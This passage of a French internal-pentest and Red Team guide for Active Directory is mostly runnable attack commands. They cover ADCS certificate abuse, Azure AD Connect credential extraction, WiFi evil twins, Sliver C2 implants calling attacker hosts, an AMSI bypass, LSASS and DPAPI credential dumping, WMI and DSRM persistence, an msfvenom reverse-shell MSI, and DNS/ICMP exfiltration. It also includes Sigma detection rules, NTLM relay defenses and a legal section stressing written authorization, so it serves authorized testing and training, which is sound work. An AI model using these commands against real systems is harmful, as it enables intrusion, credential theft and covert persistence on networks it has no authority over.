# MS-RPRN (RpcRemoteFindFirstPrinterChangeNotification)
# MS-PAR (RpcAsyncOpenPrinter)

20. ESC1-ESC15 : guide pratique des Certificate Services

La taxonomie complète des vulnérabilités ADCS compte en 2026 quinze classes (ESC1-ESC15), chacune correspondant à une mauvaise configuration ou à un abus de fonctionnalité des Certificate Services. Voici un guide pratique des plus impactantes.

# Workflow complet ESC4 → ESC1
# 1. Modifier le template pour ajouter ENROLLEE_SUPPLIES_SUBJECT
certipy template -u user@domain.local -p Password123 \
  -template VulnerableTemplate -save-old

# 2. Exploiter comme ESC1
certipy req -u user@domain.local -p Password123 \
  -ca 'CA\CA-NAME' -template VulnerableTemplate \
  -upn administrator@domain.local

# 3. Authentification
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

# 4. Restaurer le template (bonne pratique pentest)
certipy template -u user@domain.local -p Password123 \
  -template VulnerableTemplate -configuration saved_template.json

21. Active Directory dans Azure (Hybrid)

En 2026, la majorité des organisations ont adopté une architecture hybride : Active Directory on-premises synchronisé avec Microsoft Entra ID (anciennement Azure AD) via Azure AD Connect. Cette hybridation crée des chemins d'attaque traversant les frontières cloud/on-prem, particulièrement exploités par des groupes comme Storm-0558 (attaque de Microsoft en 2023) et Cozy Bear/APT29.

Compromission d'Azure AD Connect

Le serveur Azure AD Connect stocke les credentials de synchronisation — notamment le compte MSOL_XXXXXXXX avec des droits de réplication sur l'AD local. Sa compromission équivaut à un DCSync sans droits DA explicites.

# Extraction des credentials Azure AD Connect (nécessite admin local sur le serveur)
# Module AADInternals
Import-Module AADInternals
Get-AADIntSyncCredentials

# Alternative : décryptage manuel depuis la DB locale
# Les credentials sont stockés dans la DB SQL locale de AAD Connect
# HKLM\SOFTWARE\Microsoft\AD Sync\Parameters

# Depuis les credentials MSOL extraits, DCSync sans droits DA explicites
secretsdump.py -just-dc domain.local/MSOL_ACCOUNT:PASSWORD@dc01.domain.local

Pass-Through Authentication abuse

# Extraction des hashes via PTA agent compromis
# Le serveur PTA valide les authentifications on-prem pour Azure
# Un agent PTA compromis peut logger tous les mots de passe en clair

# AADInternals : installer un PTA agent malveillant
Import-Module AADInternals
Install-AADIntPTASpy

22. WiFi et accès réseau

Les tests WiFi en pentest interne révèlent souvent des vulnérabilités critiques permettant à un attaquant sans fil d'accéder directement au réseau interne. En 2026, WPA3 se déploie progressivement mais WPA2-Enterprise reste dominant — avec ses propres vecteurs d'attaque.

# WPA2-Enterprise PEAP : Evil Twin avec eaphammer
# Récupération des credentials utilisateurs en clair

# 1. Créer un AP jumeau (même SSID, signal plus fort)
./eaphammer -i wlan0 --channel 6 --auth wpa-eap \
  --essid "CorpWiFi" --creds --negotiate balanced

# 2. Les clients Windows se connectent automatiquement
# et envoient leurs credentials NTLM (MSCHAPv2)
# eaphammer les affiche en clair ou sous forme crackable

# Capture handshake WPA2-PSK
airmon-ng start wlan0
airodump-ng -c 6 --bssid TARGET_BSSID -w capture wlan0mon
aireplay-ng -0 5 -a TARGET_BSSID wlan0mon  # deauth
hashcat -m 22000 capture.hccapx wordlist.txt

23. Linux dans le réseau Windows

Les systèmes Linux intégrés dans un domaine Windows via SSSD ou realmd sont souvent les cibles les plus négligées du pentest interne. Ils héritent des mécanismes Kerberos AD mais avec des configurations parfois plus laxistes qu'un poste Windows managé par GPO.

# Énumération Linux joint au domaine
# Tickets Kerberos stockés en clair sur le filesystem
ls -la /tmp/krb5cc_*
klist -l

# Extraction et utilisation des tickets
export KRB5CCNAME=/tmp/krb5cc_1000
klist
# Utilisation directe avec Impacket
secretsdump.py -k -no-pass dc01.domain.local

# LinPEAS pour privilege escalation Linux
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# SUID binaries exploitation
find / -perm -4000 -type f 2>/dev/null
# GTFOBins pour exploitation
# https://gtfobins.github.io/

# Sudo misconfiguration
sudo -l  # lister les droits sudo
# Si "NOPASSWD: /usr/bin/find" → escalade triviale
sudo find . -exec /bin/sh \; -quit

Pour les techniques complètes d'élévation de privilèges Linux, consultez Élévation de privilèges Linux : SUID et kernel exploits.

24. C2 frameworks en pentest interne

Les Command & Control (C2) frameworks permettent de gérer des agents déployés sur les systèmes compromis. En pentest interne 2026, le choix du C2 impacte directement la détectabilité et la capacité à contourner les EDR.

# Sliver : démarrage et configuration
sliver-server

# Dans Sliver console :
generate --mtls attacker_ip:443 --os windows --arch amd64 --save agent.exe
generate --http attacker_ip:80 --os linux --arch amd64 --save agent_linux

# Listeners
mtls --lport 443
http --lport 80
dns --domains c2.attacker.com

# Sessions
sessions
use SESSION_ID
shell
execute-assembly SharpHound.exe -c All

# Cobalt Strike : Malleable C2 Profile (discrétion)
# Exemple de profil imitant le trafic OneDrive

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set sleeptime "45000";  # 45 secondes entre check-ins
set jitter "20";        # ±20% variation

http-get {
  set uri "/onedrive/sync/status";
  client { header "Accept" "application/json"; }
}

http-post {
  set uri "/onedrive/sync/upload";
  client { header "Content-Type" "application/octet-stream"; }
}

25. Évasion AV/EDR moderne

L'évasion des Endpoint Detection and Response (EDR) est en 2026 la compétence la plus demandée en Red Team. Les EDR modernes ne se basent plus sur les signatures mais sur l'analyse comportementale, la télémétrie kernel, et l'intelligence artificielle. Les techniques d'évasion évoluent en permanence dans une course aux armements entre attaquants et défenseurs.

Pour une analyse complète, consultez notre guide EDR Bypass 2026 : techniques et contre-mesures.

Direct Syscalls : Hell's Gate et Halo's Gate

Les direct syscalls contournent les hooks userland des EDR en appelant directement les syscalls Windows NT sans passer par ntdll.dll (que l'EDR hooké). Hell's Gate résout dynamiquement les numéros de syscall depuis ntdll. Halo's Gate gère le cas où ntdll elle-même est hookée.

# Exemple conceptuel Direct Syscall (C)
# Les numéros de syscall varient par version Windows
# NtAllocateVirtualMemory = 0x18 (Win10 22H2)
# NtWriteVirtualMemory = 0x3A
# NtCreateThreadEx = 0xC1
# NtProtectVirtualMemory = 0x50

# Bypass AMSI + ETW patching (PowerShell, 2026)
$a = [Ref].Assembly.GetTypes()
foreach ($b in $a) {
  if ($b.Name -like "*iUtils") {
    $c = $b.GetFields('NonPublic,Static')
    foreach ($d in $c) {
      if ($d.Name -like "*Context") { $d.SetValue($null,[IntPtr]1) }
    }
  }
}

# Module stomping : charger un module légitime puis écraser son code
# Technique populaire pour masquer l'injection de shellcode

Process Unhooking

# Unhooking ntdll.dll : remplacer la version hookée par une copie propre du disque
# Concept : lire ntdll.dll depuis C:\Windows\System32\, mapper les sections .text
# propres par-dessus la version en mémoire du processus courant

# Outil : Freshycalls, SysWhispers3
# Ces techniques sont détectées par les EDR qui surveillent les lectures de ntdll sur disque

26. Récolte de credentials post-exploitation

La phase de récolte de credentials post-exploitation est cruciale pour approfondir la compromission. En 2026, avec Credential Guard et RunAsPPL activés sur les postes récents, le dump LSASS classique (mimikatz sekurlsa::logonpasswords) ne fonctionne plus directement — mais des techniques alternatives persistent.

LSASS dump : techniques modernes

# Méthode 1 : MiniDump via comsvcs.dll (LOLBin)
# Nécessite SeDebugPrivilege
$id = (Get-Process lsass).Id
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $id C:\Temp\lsass.dmp full

# Méthode 2 : NanoDump (contourne PPL, chiffré)
# nanodump.exe --write C:\Temp\lsass.dmp --valid

# Méthode 3 : Task Manager (GUI) pour créer dump
# Nécessite session interactive ou RDP

# Méthode 4 : ProcessDump via WER
# reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" /v DumpType /t REG_DWORD /d 2

# Analyse offline depuis Kali
pypykatz lsa minidump lsass.dmp
# Extraction hashes NT, tickets Kerberos, mots de passe en clair (si WDigest actif)

DPAPI : décryptage hors-ligne

DPAPI (Data Protection API) protège de nombreux secrets Windows : mots de passe navigateurs (Chrome, Edge), credentials WiFi, certificats, clés SSH de Putty, jetons Azure CLI. Son exploitation hors-ligne nécessite le masterkey et les clés de domaine.

# Dump DPAPI master keys et blobs
# Depuis un DC compromis
dpapi.py backupkeys --export -t domain.local/Administrator:Password123@dc01.domain.local

# Déchiffrement hors-ligne avec la backupkey du domaine
dpapi.py masterkey -file masterkey -pvk domain_backup.pvk
dpapi.py credential -file CREDENTIAL_FILE -key MASTERKEY
dpapi.py blob -f BLOB_FILE -key MASTERKEY

# Chrome passwords via DPAPI
# Les passwords Chrome sont chiffrés avec DPAPI (user context)
# Exécuter depuis la session de l'utilisateur cible
python3 decrypt_chrome.py --browser chrome

27. Reconnaissance interne offensive

Une fois un accès établi et des credentials récoltés, la phase de reconnaissance interne offensive vise à identifier tous les actifs à haute valeur avant de lancer les attaques de mouvement latéral avancé.

# Scanning interne via SOCKS pivot
proxychains nmap -sT -p 445,88,389,3389,5985 192.168.2.0/24 --open

# Enumération AD complète via LDAP
ldapsearch -H ldap://dc01.domain.local -x -D "user@domain.local" \
  -w Password123 -b "DC=domain,DC=local" "(objectClass=user)" \
  sAMAccountName memberOf pwdLastSet

# Credential reuse hunting : tester les credentials récoltés sur tous les systèmes
nxc smb targets.txt -u found_user -p found_password
nxc winrm targets.txt -u found_user -p found_password
nxc mssql targets.txt -u found_user -p found_password
nxc ssh targets.txt -u found_user -p found_password

28. Techniques de persistance avancées

La persistance avancée vise à survivre aux redémarrages, rotations de mots de passe, et interventions du SOC. En 2026, les techniques les plus discrètes exploitent des mécanismes Windows légitimes rarement surveillés.

# WMI Event Subscription (persistance discrète)
# EventFilter : déclencheur (ex: toutes les 60 secondes)
$Filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{
  Name = "Updater"
  EventNamespace = "root\cimv2"
  QueryLanguage = "WQL"
  Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# EventConsumer : action à exécuter
$Consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{
  Name = "Updater"
  CommandLineTemplate = "powershell.exe -enc BASE64PAYLOAD"
}

# Binding
Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{
  Filter = $Filter
  Consumer = $Consumer
}

# DSRM password backdoor (nécessite DA)
# Activer le login DSRM via réseau (désactivé par défaut)
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Force
# Réinitialiser le mot de passe DSRM
ntdsutil "SET DSRM PASSWORD" "RESET PASSWORD ON SERVER dc01.domain.local" q q

29. Bypass des protections Microsoft modernes

Microsoft a considérablement renforcé la sécurité Windows entre 2022 et 2026 avec plusieurs technologies qui complexifient les attaques classiques. Comprendre ces protections — et leurs limites — est indispensable pour un Red Teamer en 2026.

Credential Guard et VBS

Credential Guard utilise la Virtualization-Based Security (VBS) pour isoler les secrets LSASS dans une enclave Hyper-V séparée, inaccessible même au kernel Windows. Depuis Windows 11 22H2, il est activé par défaut sur les machines compatibles. Impact direct : sekurlsa::logonpasswords ne retourne plus de mots de passe en clair ni de hashes NT.

# Vérification Credential Guard
Get-ComputerInfo | Select-Object -Property DeviceGuard*

# Contournements partiels en 2026 :
# 1. Les hashes Kerberos (TGT) restent accessibles même avec CG
# 2. Les hashes NTLM NTLMv1/v2 en transit restent capturables (réseau)
# 3. DPAPI secrets non protégés par CG

# Désactivation CG si droits DA (rare mais documenté)
# Via BIOS/UEFI ou GPO
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f

LSA Protection (RunAsPPL)

# Vérification PPL
Get-ItemPropertyValue -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL

# Bypass PPL avec driver vulnérable (Bring Your Own Vulnerable Driver - BYOVD)
# PPLdump, PPLKiller, EDRSandBlast
# Ces outils chargent un driver signé vulnérable pour escalader vers kernel
# et désactiver la protection PPL

# BYOVD est une technique APT documentée (Storm-0950, FIN7, etc.)
# Détection : surveillance du chargement de drivers non approuvés

Microsoft Defender for Identity (MDI) evasion

30. Reporting et livrables

Le rapport de pentest interne est le livrable principal de la mission. Sa qualité conditionne la capacité du client à remédier effectivement aux vulnérabilités identifiées et à prioriser ses investissements sécurité. Un rapport de pentest interne niveau expert comprend systématiquement plusieurs parties distinctes selon le public cible.

Structure d'un rapport pentest interne

Structure d'un finding technique

Chaque vulnérabilité documentée suit une structure standardisée : titre, identifiant unique (VULN-001), criticité CVSS v4.0, description technique, preuve d'exploitation (capture d'écran, log), impact business, recommandation de remédiation avec délai, et référence MITRE ATT&CK. La criticité est toujours contextualisée — une vulnérabilité théoriquement CVSS 9.8 mais nécessitant un accès physique est moins prioritaire qu'un Kerberoasting CVSS 6.0 permettant d'obtenir DA en 2 heures.

31. Outils Red Team essentiels en 2026

32. Labs et environnements d'entraînement

La pratique régulière sur des environnements dédiés est indispensable pour maintenir les compétences Red Team. En 2026, plusieurs plateformes proposent des environnements Active Directory réalistes avec des vulnérabilités actuelles.

# Installation GOAD (Game of Active Directory) - Lab local complet
git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD/ad/GOAD

# Prérequis : VirtualBox + Vagrant + Ansible
vagrant up  # Déploie 5 VMs Windows (2 forests, 3 domains)

# BadBlood : peupler un AD avec 2500 users, groupes, GPO, etc.
Import-Module .\BadBlood.ps1
Invoke-BadBlood -NonInteractive

33. Détection et contre-mesures côté défense

Un pentest interne de qualité ne se limite pas à exploiter — il doit aussi identifier les lacunes de détection et recommander des règles SIEM et des configurations défensives concrètes. Cette double posture offense/défense est la marque d'un professionnel Red Team mature.

Règles SIEM critiques à monitorer

# Règle Sigma : détection Kerberoasting
title: Kerberoasting Activity
id: 18f9987f-4c3a-4c2e-9a7f-3d8b1e5f9c2d
status: stable
description: Détecte les demandes TGS-REP massives en RC4 (indicateur Kerberoasting)
references:
  - https://attack.mitre.org/techniques/T1558/003/
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'  # RC4_HMAC_MD5
    TicketOptions: '0x40810000'
  filter:
    ServiceName: '*$'             # Exclure comptes machine
  condition: selection and not filter
falsepositives:
  - Applications legacy utilisant RC4
level: high
tags:
  - attack.credential_access
  - attack.t1558.003

Microsoft Defender for Identity : alertes clés

# Configuration MDI via PowerShell (depuis le portail Defender)
# Règles de détection MDI activées par défaut :
# - Reconnaissance via LDAP
# - Skeleton Key malware
# - DCSync depuis source non-DC
# - Pass-the-Hash
# - Overpass-the-Hash
# - Kerberoasting (volume)
# - Honey Token accounts (configurer manuellement !)

# Honeypot AD : créer des comptes canaries
New-ADUser -Name "svc_honeypot" -SamAccountName "svc_honeypot" `
  -Description "SQL Service Account (LEGACY)" `
  -Enabled $true -PasswordNeverExpires $true
# Ce compte a un SPN enregistré mais n'est jamais utilisé légitimement
# Toute demande TGS pour ce compte = alerte immédiate

34. Aspects légaux et éthiques

Le pentest interne en France est encadré par un corpus légal précis. L'article 323-1 du Code Pénal punit de deux ans d'emprisonnement et 60 000 € d'amende "le fait d'accéder ou de se maintenir frauduleusement dans tout ou partie d'un système de traitement automatisé de données". La clé est l'adverbe frauduleusement : une lettre de mission signée par le représentant légal de l'organisation cible suffit à établir l'autorisation légale.

RGPD lors des tests

Le RGPD impose des contraintes spécifiques lors des tests d'intrusion. Un pentester accédant à une base de données contenant des données personnelles n'a pas le droit de les exfiltrer réellement, même avec autorisation de la mission. La preuve d'exploitation se limite à la capture d'une liste de tables ou d'un enregistrement anonymisé. Toute exfiltration réelle de données personnelles constitute une violation RGPD, même dans un cadre de pentest autorisé, et doit être notifiée à la CNIL dans les 72 heures si elle constitue une violation de données.

35. FAQ — Questions fréquentes sur le pentest interne Red Team

Quelle différence entre un pentest interne et un exercice Red Team ?

Le pentest interne est une évaluation structurée et timeboxée des vulnérabilités techniques d'un réseau interne. L'exercice Red Team est une simulation d'attaque réaliste, souvent inconnue des équipes IT/SOC, qui évalue non seulement les vulnérabilités techniques mais aussi les capacités de détection et de réponse (équipe Blue Team). Un Red Team peut durer plusieurs semaines à plusieurs mois, utilise des TTP d'APT spécifiques au profil de l'organisation, et mesure le MTTD (Mean Time to Detect) et MTTR (Mean Time to Respond).

Combien dure un pentest interne ?

La durée dépend de la taille et complexité du réseau. Pour une PME (50-200 postes, 1 domaine AD) : 5 à 8 jours. Pour une ETI (200-2000 postes, multi-sites) : 10 à 15 jours. Pour un grand compte (2000+ postes, multi-domaines, hybride Azure) : 15 à 30 jours. La qualification PASSI impose une durée minimale proportionnelle au périmètre pour garantir la couverture suffisante des vecteurs d'attaque.

Quels prérequis matériels pour un pentest interne ?

Configuration minimale recommandée en 2026 : laptop avec 32 Go RAM (les VMs Kali + analyse BloodHound consomment beaucoup), SSD NVMe 1 To, carte réseau Gigabit + adaptateur USB Ethernet de secours, adaptateur WiFi compatible injection (Alfa AWUS036ACH ou Intel AX210 en mode moniteur), câble RJ45 de 10m, et switch mini 4 ports. Optionnel mais utile : Raspberry Pi 4 préconfiguré comme implant réseau autonome pour les accès physiques.

Comment les APT utilisent-ils les mêmes techniques qu'un pentest interne ?

Les groupes APT comme FIN7 (criminel, ransomware) et Volt Typhoon (étatique, espionnage) utilisent exactement les mêmes techniques documentées dans ce guide — BloodHound pour cartographier les chemins AD, Kerberoasting pour obtenir des credentials, coercition + ADCS pour l'escalade. La différence : ils opèrent sur des mois avec une OPSEC irréprochable, là où un pentester opère sur des jours avec plus de liberté. En 2024, le rapport ANSSI sur les intrusions dans les collectivités territoriales françaises documentait l'usage systématique de Kerberoasting et de NTLM relay par des groupes criminels.

Comment évoluer du pentest vers le Red Team ?

La progression naturelle passe par : 1) Maîtrise technique complète des outils et techniques (ce guide), 2) Certifications OSCP puis CRTO (Certified Red Team Operator) ou CRTE (Certified Red Team Expert), 3) Pratique intensive sur HackTheBox Pro Labs (RastaLabs, Offshore, Cybernetics), 4) Développement de capacités de développement (C#, Go, PowerShell avancé) pour créer des outils custom, 5) Compréhension des renseignements sur les menaces (CTI) pour adapter les TTP aux profils APT. La certification OSCP d'Offensive Security reste le standard d'entrée dans la profession.

Comment se défendre contre les attaques NTLM relay ?

La défense contre les NTLM relay attacks repose sur quatre mesures complémentaires : 1) Activer SMB Signing sur tous les postes (pas seulement les DC) — la plupart des outils de relay échouent si SMB Signing est requis, 2) Activer LDAP Signing et Channel Binding sur les DC pour bloquer les relay vers LDAP/LDAPS, 3) Désactiver LLMNR et NBT-NS via GPO pour éliminer le vecteur d'empoisonnement, 4) Désactiver WebDAV et WPAD qui sont des vecteurs supplémentaires d'authentification NTLM automatique.

Quelle est la valeur du pentest interne face aux outils automatisés ?

Les scanners de vulnérabilités automatisés (Tenable, Qualys, Rapid7) identifient des CVE connues mais sont incapables de simuler les chaînes d'attaque multi-étapes exploitées par les attaquants réels. Un scanner ne fera jamais : Kerberoasting → cracking hors-ligne → mouvement latéral → ADCS ESC1 → Domain Admin → DCSync → persistence AdminSDHolder. Seul un pentester humain peut raisonner sur les combinaisons de vulnérabilités faiblement critiques qui, enchaînées, mènent à une compromission totale.

Comment documenter les preuves d'exploitation sans violer le RGPD ?

Lors de l'accès à des données personnelles, documentez uniquement le fait de l'accès et la nature des données (ex: "base de données RH contenant des enregistrements d'employés") sans capturer les données elles-mêmes. Utilisez des techniques de masquage : floutez les noms, emails, numéros de sécurité sociale dans les captures d'écran. Si vous devez prouver l'accès à une base de données, montrez uniquement la structure de la table (DESCRIBE table) et le compte de lignes (SELECT COUNT(*)) sans afficher les données réelles.

36. Kerberoasting détaillé : techniques avancées 2026

Le Kerberoasting a significativement évolué depuis sa découverte initiale. En 2026, les techniques RC4 OPSec, le Targeted Kerberoasting (modification temporaire des SPN), et l'exploitation des comptes gMSA/sMSA ouvrent de nouveaux vecteurs rarement documentés.

# Targeted Kerberoasting : ajouter temporairement un SPN à un compte cible
# Nécessite des droits d'écriture sur l'objet AD (GenericWrite, etc.)

# 1. Vérifier les droits
Get-ObjectAcl -SamAccountName "target_user" -ResolveGUIDs |
  Where-Object {$_.ActiveDirectoryRights -match "GenericWrite|WriteProperty"} |
  Select IdentityReference

# 2. Ajouter un SPN temporaire
Set-ADUser -Identity target_user -ServicePrincipalNames @{Add="fake/spn"}

# 3. Kerberoaster le compte
.\Rubeus.exe kerberoast /user:target_user /nowrap /outfile:targeted_hash.txt

# 4. Supprimer le SPN (nettoyage)
Set-ADUser -Identity target_user -ServicePrincipalNames @{Remove="fake/spn"}

# Kerberoasting via OPSEC : RC4 only, ticket par ticket, intervalles aléatoires
for ($i = 0; $i -lt $accounts.Count; $i++) {
  .\Rubeus.exe kerberoast /user:$($accounts[$i]) /rc4opsec /nowrap
  Start-Sleep -Seconds (Get-Random -Minimum 30 -Maximum 120)
}

37. Responder avancé et capture de credentials

Au-delà de la capture de hashes NTLMv2, Responder peut capturer des credentials en clair via ses serveurs HTTP, FTP, et SMTP intégrés. La configuration avancée permet de cibler des services spécifiques et d'augmenter le taux de capture dans des environnements fortement segmentés.

# Configuration Responder.conf pour maximiser les captures
# /usr/share/responder/Responder.conf
[Responder Core]
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On

# Analyse des captures en temps réel
tail -f /usr/share/responder/logs/Responder-Session.log

# Hashcat cracking optimisé pour NTLMv2 (mode 5600)
hashcat -m 5600 hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  /usr/share/wordlists/weakpass_3.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/Korelogic-password.rule \
  --status --status-timer 60 \
  --potfile-path cracked.pot

Pour les techniques complètes Responder, consultez notre guide Responder : guide complet pentest Active Directory.

38. Attaques Man-in-the-Middle internes

Les attaques Man-in-the-Middle (MitM) en réseau interne permettent d'intercepter, modifier, et rejouer le trafic réseau. En 2026, ARP spoofing et IPv6 rogue router restent des techniques efficaces dans les segments non protégés.

# ARP Spoofing avec Bettercap
sudo bettercap -iface eth0

# Dans bettercap :
net.probe on
net.recon on
set arp.spoof.targets 192.168.1.0/24
arp.spoof on
net.sniff on

# Interception SSL (nécessite installer le cert bettercap sur la cible)
set https.proxy.sslstrip true
https.proxy on

Pour le guide complet MitM, consultez Bettercap et Ettercap : MitM en pentest réseau.

39. Élévation de privilèges Windows : techniques 2026

L'élévation de privilèges locale (Local Privilege Escalation — LPE) est souvent nécessaire pour passer d'un utilisateur de domaine standard à SYSTEM avant de réaliser un dump LSASS ou d'accéder à des secrets protégés. En 2026, les techniques les plus fiables combinent des misconfiguration services, des TOKEN abuse, et des exploits noyau récents.

# WinPEAS : audit automatique des vecteurs LPE
.\winPEASx64.exe

# Token impersonation avec Incognito / Rubeus
# Si un token SYSTEM ou High-Integrity est disponible en session
.\Rubeus.exe tgtdeleg  # Déléguer via token

# Service misconfiguration (SYSTEM context, writable binary path)
sc qc VulnerableService
# Si BinaryPathName est dans un dossier writable :
copy evil.exe "C:\Program Files\Vulnerable\service.exe"
sc stop VulnerableService
sc start VulnerableService  # Execute en SYSTEM

# AlwaysInstallElevated (MSI avec privilèges élevés)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si les deux = 0x1 → LPE via MSI malveillant
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi

Pour le guide complet, consultez Élévation de privilèges Windows : techniques complètes.

40. Techniques d'exfiltration discrètes

En contexte Red Team réaliste, l'exfiltration de données (simulée) doit contourner les solutions DLP et les proxies HTTP(S) filtrants. Les canaux alternatifs — DNS, ICMP, SMB, et protocoles légitimes — offrent des méthodes d'exfiltration difficiles à détecter.

# Exfiltration via DNS (bypass DLP/proxy)
# Encoder les données en base32 et les envoyer via requêtes DNS TXT
# Outil : iodine, dnscat2

# Serveur dnscat2 (attaquant)
ruby dnscat2.rb --dns "domain=c2.attacker.com"

# Client (machine compromise)
.\dnscat2.exe --secret SECRET c2.attacker.com

# Exfiltration via HTTPS vers service cloud légitime (OneDrive, SharePoint)
# Très difficile à bloquer sans casser la productivité
# Utilisé par APT29/Cozy Bear (SUNBURST)

# Exfiltration ICMP (Ping tunnel)
ptunnel-ng -s  # Serveur
ptunnel-ng -r attacker_ip -R 22 -l 8022  # Client → SSH via ICMP

41. Simulation APT : reproduire les TTP de groupes réels

La simulation APT (Adversary Simulation) est le niveau supérieur du Red Team. Elle consiste à reproduire fidèlement les TTP documentées d'un groupe APT spécifique, sélectionné en fonction du profil de l'organisation cible.

# Simulation Volt Typhoon (LotL uniquement)
# Toutes les actions via outils Windows légitimes

# Reconnaissance
netsh interface show interface
netsh advfirewall show allprofiles
wmic product get name, version
wmic computersystem get name, username, domain

# Mouvement latéral via WMI
wmic /node:"192.168.1.20" process call create "cmd.exe /c whoami > C:\Temp\out.txt"

# Collecte credentials via cmdkey (stockés Windows Credential Manager)
cmdkey /list

# Exfiltration via ntdsutil (dump AD)
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ifm" q q

42. Conclusion : vers une posture Red Team mature en 2026

Le pentest réseau interne en 2026 exige une maîtrise technique profonde combinée à une vision stratégique de la sécurité offensive. Les techniques présentées dans ce guide — de la reconnaissance BloodHound à l'exploitation ADCS, du pivoting ligolo-ng à l'évasion EDR par syscalls directs — constituent le corpus fondamental de tout Red Teamer professionnel.

Trois tendances structurent l'évolution de la discipline pour 2026-2028 : l'hybridation cloud/on-premises qui démultiplie les surfaces d'attaque et exige de maîtriser à la fois l'AD traditionnel et Entra ID ; la généralisation des EDR comportementaux qui rend les outils génériques détectables et pousse vers le développement d'outillage custom ; et enfin, la sophistication des frameworks réglementaires (DORA, NIS2, qualification PASSI) qui imposent des standards de qualité croissants aux prestataires de pentest.

La maîtrise technique sans éthique professionnelle n'a aucune valeur. Chaque technique présentée dans ce guide doit être utilisée uniquement dans un cadre légal, avec autorisation écrite, et dans le but d'améliorer la sécurité des organisations. Le Red Teamer professionnel est d'abord un partenaire de confiance qui aide les organisations à comprendre et réduire leur surface d'attaque réelle.

Pour approfondir vos compétences en Active Directory offensif, consultez notre guide complet Pentest Active Directory : méthodologie complète 2026 ainsi que nos articles spécialisés sur Kerberoasting, Golden Ticket, et DCSync.

43. Référentiel MITRE ATT&CK par phase de pentest interne

Référence complète : MITRE ATT&CK Enterprise Matrix — mise à jour régulièrement avec les nouvelles techniques documentées par la communauté de recherche en sécurité offensive.

44. Analyse approfondie des chemins d'attaque BloodHound

BloodHound est bien plus qu'un simple outil de visualisation — c'est un moteur de raisonnement sur les graphes d'autorisation Active Directory qui permet d'identifier des chemins d'attaque invisibles à l'œil nu. En 2026, BloodHound Community Edition (CE) apporte une refonte complète de l'interface, de nouvelles sources de données (Azure, Okta), et des capacités d'analyse améliorées. Comprendre en profondeur son fonctionnement permet d'extraire une valeur bien supérieure à la simple génération du graphe par défaut.

Le modèle de données BloodHound représente l'Active Directory comme un graphe orienté où les nœuds sont des objets AD (utilisateurs, groupes, ordinateurs, GPO, OUs, domaines) et les arêtes sont des relations de droits (edges). Chaque edge a une sémantique précise : MemberOf représente l'appartenance à un groupe, AdminTo représente l'accès administrateur local, GenericAll représente le contrôle total sur un objet, CanRDP représente le droit de connexion Bureau à distance, etc. La puissance de BloodHound réside dans sa capacité à trouver le chemin le plus court (shortestPath en langage Cypher) entre n'importe quel nœud et les groupes à privilèges.

La collecte par défaut avec le flag -c All est exhaustive mais bruyante — elle génère des milliers de requêtes LDAP et SMB qui sont immédiatement détectables par MDI. En contexte Red Team avec SOC actif, préférez une collecte progressive : d'abord -c DCOnly pour obtenir la structure AD depuis le DC via LDAP, puis -c ComputerOnly pour les sessions et les admins locaux (plus bruyant car interroge chaque machine). Cette approche segmentée permet de collecter les données essentielles en minimisant le risque de détection précoce.

Requêtes Cypher avancées pour l'analyse des chemins d'attaque

# Connexion à la base Neo4j BloodHound
# Interface web : http://localhost:7474
# Credentials par défaut : neo4j / BloodHound (à changer)

# Requête 1 : Utilisateurs avec chemin vers DA via moins de 3 sauts
MATCH p=shortestPath((u:User)-[*1..3]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
WHERE NOT u.name STARTS WITH "KRBTGT"
RETURN p LIMIT 25

# Requête 2 : Ordinateurs où les utilisateurs du groupe "IT" ont des sessions actives
# et qui ont un chemin vers un DC
MATCH (u:User)-[:MemberOf]->(g:Group {name:"IT@DOMAIN.LOCAL"})
MATCH (u)-[:HasSession]->(c:Computer)
MATCH p=shortestPath((c)-[*1..]->(d:Domain))
RETURN p

# Requête 3 : Tous les comptes avec DCSync rights
MATCH (u)-[:GetChanges|GetChangesAll]->(d:Domain)
RETURN u.name, u.enabled, u.lastlogontimestamp, d.name
ORDER BY u.lastlogontimestamp DESC

# Requête 4 : Comptes Kerberoastables avec mots de passe anciens (>1 an)
MATCH (u:User {hasspn:true})
WHERE u.pwdlastset < (datetime().epochSeconds - 365*24*3600)
AND u.enabled = true
RETURN u.name, u.pwdlastset, u.serviceprincipalnames
ORDER BY u.pwdlastset ASC

# Requête 5 : Délégations Kerberos non contraintes (Unconstrained Delegation)
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name STARTS WITH "DC"
RETURN c.name, c.operatingsystem, c.enabled

# Requête 6 : Utilisateurs avec droits WriteOwner/WriteDacl sur d'autres utilisateurs
MATCH (u1:User)-[:WriteOwner|WriteDacl|GenericWrite]->(u2:User)
